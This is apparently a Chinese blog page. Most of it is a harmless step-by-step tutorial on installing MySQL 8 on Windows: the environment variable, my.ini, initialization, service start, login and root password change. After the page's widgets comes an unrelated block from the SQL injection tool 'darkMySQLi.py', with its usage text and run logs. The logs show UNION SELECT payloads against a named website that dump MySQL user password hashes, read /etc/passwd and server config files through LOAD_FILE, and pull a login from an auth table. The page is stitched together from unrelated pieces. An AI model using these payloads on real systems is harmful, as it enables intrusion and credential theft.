MySQL详细安装教程

目录

  下载压缩包及解压
   配置环境变量
   创建配置文件
   启动MySQL
   登录MySQL

下载压缩包及解压

   官方下载地址:https://dev.mysql.com/downloads/mysql/
  
   点进去链接,往下面翻就会看到这个
   在这里插入图片描述
   选择系统后点击下载   在这里插入图片描述
   然后点击框框里的就可以直接下载了
  
   下载好之后压缩包是这个样子的

   在这里插入图片描述
   然后要解压,我的解压路径是 D:\laizigg\mysql-8\mysql-8.0.17-winx64。我建议你解压目录别太深,不然以后登录敲路径很烦人。。。
在这里插入图片描述
   刚解压的时候一些文件夹没有。如 data 文件夹,是正常的,无需理会。

配置环境变量

   配置环境变量的地方在:

      1. 系统设置 -> 关于 -> 相关设置(系统信息) -> 高级系统设置 -> 环境变量 -> 新建系统变量。
      2. 控制面板 -> 系统和安全 -> 系统 -> 高级系统设置 -> 环境变量 -> 新建系统变量。

   还可以直接搜索关键字
在这里插入图片描述
   进入下面的窗口
在这里插入图片描述
   选择新建系统环境变量
     变量名:MYSQL_HOME
     变量值:你的安装目录,此处是 D:\laizigg\mysql-8\mysql-8.0.17-winx64

创建配置文件

   在你的安装目录下创建 my.txt 文件,输入以下内容后重命名为 my.ini。如下图

[client]
# 设置mysql客户端默认字符集
default-character-set=utf8
 
[mysqld]
# 设置3306端口
port = 3306
# 设置mysql的安装目录
basedir=C:\\web\\mysql-8.0.11
# 允许最大连接数
max_connections=20
# 服务端使用的字符集默认为8比特编码的latin1字符集
character-set-server=utf8
# 创建新表时将使用的默认存储引擎
default-storage-engine=INNODB

在这里插入图片描述
   提醒,改后缀改后缀,把 txt 改成 ini 。其实也可以直接创建成my.ini文件,但我就不说 -_-

启动MySQL

   1. 以管理员身份登录cmd,进入 mysql 的 bin 目录。输入"mysqld --initialize --console" 命令初始化数据库。我已经初始化过了,所以不能再初始化了。正常情况下输入命令,按下会回车后会出来好几行提示,你需要找到 root@localhost: 冒号后面是登录数据库的密码,要记住。
在这里插入图片描述
本图来自:这里
   2. 输入"mysqld install" 命令进行安装 。按下回车后会有安装成功的提示。
   3. 输入"net start mysql" 命令启动数据库。要注意必须是管理员身份运行的 cmd 才可以,不然会提示 “发生系统错误 5。 拒绝访问。” 。启动成功图如下
在这里插入图片描述
  注意:启动成功后它就会一直运行了,除非在任务管理器里把它关掉或执行 “net stop mysql” 命令。

登录MySQL

  启动成功后输入"mysql -u root -p" 命令登录服务器,会让你输入密码的,上面提示你记住的密码没忘记吧。
在这里插入图片描述
  登录成功就是这个样子,一大串提示,命令行变成 mysql> 还有一个闪动的光标。

  你以为完了? 不,还没有,你还要修改你的密码,不然你输入指令试试,都会出现错误提示的。

  除非你输入这个指令:ALTER USER 'root'@'localhost' IDENTIFIED BY '你的密码你随意' PASSWORD EXPIRE NEVER; 它的目的是把用户root也就是你的密码改成 “你的密码你随意” 。注意命令最后的分号,不能少的。(当然还有其他改密码的命令)

  ok,已经算是大功告成了,现在输入"\q"或"exit"或"quit"退出登录就行了,数据库会很不舍的跟你说 Bye。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
darkMySQLi v.1.0 rsauron@gmail.com Usage: ./darkMySQLi.py [options] Options: -h, --help shows this help message and exits -d, --debug display URL debug information Target: -u URL, --url=URL Target url Methodology: -b, --blind Use blind methodology (req: --string) -s, --string String to match in page when the query is valid Method: --method=PUT Select to use PUT method Modes: --dbs Enumerate databases MySQL v5+ --schema Enumerate Information_schema (req: -D, opt: -T) MySQL v5+ --full Enumerate all we can MySQL v5+ --info MySQL Server configuration MySQL v4+ --fuzz Fuzz Tables & Columns Names MySQL v4+ --findcol Find Column length MySQL v4+ --dump Dump database table entries (req: -T, opt: -D, -C, --start, --stop) MySQL v4+ Define: -D DB database to enumerate -T TBL database table to enumerate -C COL database table column to enumerate Optional: --where=COL,VALUE Use a where clause in your dump --orderby=COL Use a orderby clause in your dump --proxy=PROXY Use a HTTP proxy to connect to the target url --output=FILE.TXT Output results of tool to this file 实例: darkc0de:darkMySQLi rsauron$ ./darkMySQLi.py -u "http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4, 5,6,7,8,9,10" --info |--------------------------------------------------| | rsauron@gmail.com v1.0 | | 1/2009 darkMySQLi.py | | -- Multi Purpose MySQL Injection Tool -- | | Usage: darkMySQLi.py [options] | | -h help darkc0de.com | |--------------------------------------------------| [+] URL: http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4,5,6,7,8,9,10 [+] 14:06:17 [+] Evasion: /**/ -- [+] Cookie: None [-] Proxy Not Given [+] Gathering MySQL Server Configuration... Database: db2889_rayner_en User: mysql2889@localhost Version: 5.0.32-Debian_7etch1-log [+] Do we have Access to MySQL Database: YES <-- w00t w00t [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a,password),3,4,5,6,7,8,9,10+FROM+mysql .user-- [+] Dumping MySQL user info. host:user:password [+] Number of users in the mysql.user table: 6 [0] localhost:root:N [1] dlx35341:root:N [2] localhost:debian-sys-maint:*0EF29B1AED94CC60062FED7F4DF2224A0C880A10 [3] localhost:mysql2908:*6F0D804E0EB35256C22367F95D8D1E31A4E5BAAD [4] localhost:mysql2970:*7351A8BF4BD4C9E8FD20109F24916B9C93ADBF83 [5] localhost:mysql2889:*8050739003BBDB60551FA99B5FFF34957C4F5F49 [+] Do we have Access to Load_File: YES <-- w00t w00t [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10-- [+] Magic quotes are: OFF [+] Starting Load_File Fuzzer... [+] Number of system files to be fuzzed: 37 [!] Found /et@c/pa@sswd [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f706173737764),3,4,5,6,7,8,9,10-- [!] Found /et@c/hos@ts [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f686f737473),3,4,5,6,7,8,9,10-- [!] Found /et@c/m@otd [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f6d6f7464),3,4,5,6,7,8,9,10-- [!] Found /et@c/apach@e2/apache2.conf [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f617061636865322f617061636865322e 636f6e66),3,4,5,6,7,8,9,10-- [!] Found /et@c/apa@che2/httpd.conf [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f617061636865322f68747470642e636f 6e66),3,4,5,6,7,8,9,10-- [!] Found /et@c/ap@ache2/sites-available/default [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f617061636865322f73697465732d6176 61696c61626c652f64656661756c74),3,4,5,6,7,8,9,10-- [!] Found /et@c/m@ysql/my.cnf [!] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,LOAD_FILE(0x2f6574632f6d7973716c2f6d792e636e66),3,4,5, 6,7,8,9,10-- [-] 14:06:43 [-] Total URL Requests: 48 [-] Done info dump with where clause option and debug turned on darkc0de:darkMySQLi rsauron$ ./darkMySQLi.py -u "http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4, 5,6,7,8,9,10" --dump -D db2889_rayner_en -T auth -C name,pass --where pass,ridley --debug |--------------------------------------------------| | rsauron@gmail.com v1.0 | | 1/2009 darkMySQLi.py | | -- Multi Purpose MySQL Injection Tool -- | | Usage: darkMySQLi.py [options] | | -h help darkc0de.com | |--------------------------------------------------| [+] URL: http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,darkc0de,3,4,5,6,7,8,9,10 [+] 14:17:43 [+] Evasion: /**/ -- [+] Cookie: None [-] Proxy Not Given [+] Gathering MySQL Server Configuration... [debug] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(0x6461726b63306465,0x1e,version(),0x1e,user (),0x1e,database(),0x1e,0x6461726b63306465),3,4,5,6,7,8,9,10-- Database: db2889_rayner_en User: mysql2889@localhost Version: 5.0.32-Debian_7etch1-log [+] Dumping data from database "db2889_rayner_en" Table "auth" [+] and Column(s) ['name', 'pass'] [+] WHERE clause: WHERE+pass=0x7269646c6579 [+] ORDERBY clause: [debug] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(0x1e,0x1e,COUNT(*),0x1e,0x20),3,4,5,6,7,8,9 ,10/**/FROM/**/db2889_rayner_en.auth/**/WHERE/**/pass=0x7269646c6579-- [+] Number of Rows: 1 [debug] http://www.rayner.com/products.php?id=22/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(0x1e,0x1e,name,0x1e,pass,0x1e,0x1e,0x20),3, 4,5,6,7,8,9,10/**/FROM/**/db2889_rayner_en.auth/**/WHERE/**/pass=0x7269646c6579/**//**/LIMIT/**/0,1-- [1] rayneriol:ridley: [-] 14:17:45 [-] Total URL Requests: 3 [-] Done 具体用户请看提示帮助
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值